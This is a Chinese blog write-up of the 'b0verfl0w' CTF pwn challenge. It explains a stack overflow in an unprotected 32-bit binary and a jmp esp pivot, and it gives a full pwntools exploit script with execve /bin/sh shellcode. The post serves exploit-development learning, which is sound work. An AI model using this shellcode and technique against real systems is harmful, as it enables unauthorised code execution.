b0verfl0w

先checksec 一波,32位,啥都没开

image.png

IDA分析,可以发现一个很明显的栈溢出漏洞,但是细心点就会发现溢出的空间只有0x12有点小,很难构造ROP链,由于没有开启NX,那是不是可以往s写入shellcode然后返回到栈里执行这段shellcode,找一下gadget

image.png

这是里有一个jmp esp那么接下来我们还需要执行一段sub esp,0x28;jmp esp就可以返回到s的栈去执行写进去的shellcode

image.png

exp:

from pwn import *
p = process('./b0verflow')
context.log_level = 'debug'
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
jmp_esp = 0x08048504
'''
sub esp,0x28
jmp esp
'''
sub_jmp_esp = asm('sub esp,0x28;jmp esp')
payload = shellcode_x86 + 'a'*(0x24-len(shellcode_x86)) + p32(jmp_esp) + sub_jmp_esp
# gdb.attach(p,"b *0x804857a")
# pause()
p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • b0verfl0w 32位elf文件,安全配置如下: 存在堆栈溢出漏洞,但是栈不大,只有0x38。 看了下exp,...
    clive0x阅读 1,294评论 0 0
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,441评论 0 2
  • 30天人生记录营创意写作第26天 养老 01 养老,在古代似乎从来不是问题。 孟子说:“老吾老,以及人之老;幼吾幼...
    踏雪寻梅_2006阅读 140评论 2 1
  • 为大家解读《你值得过更好的生活》,一起彻底解脱! 1、彻底解脱后,你将再无敌人,同时,你不会再受环境的影响! 2、...
    抑郁者幸福家园阅读 199评论 0 2
  • •不是有互联网才有互联网思维。 •开会时让年轻人先讲,再总结、提炼。 •用户与客户的区别[如儿童玩具购买,安踏广告...
    黄家小妞阅读 327评论 0 0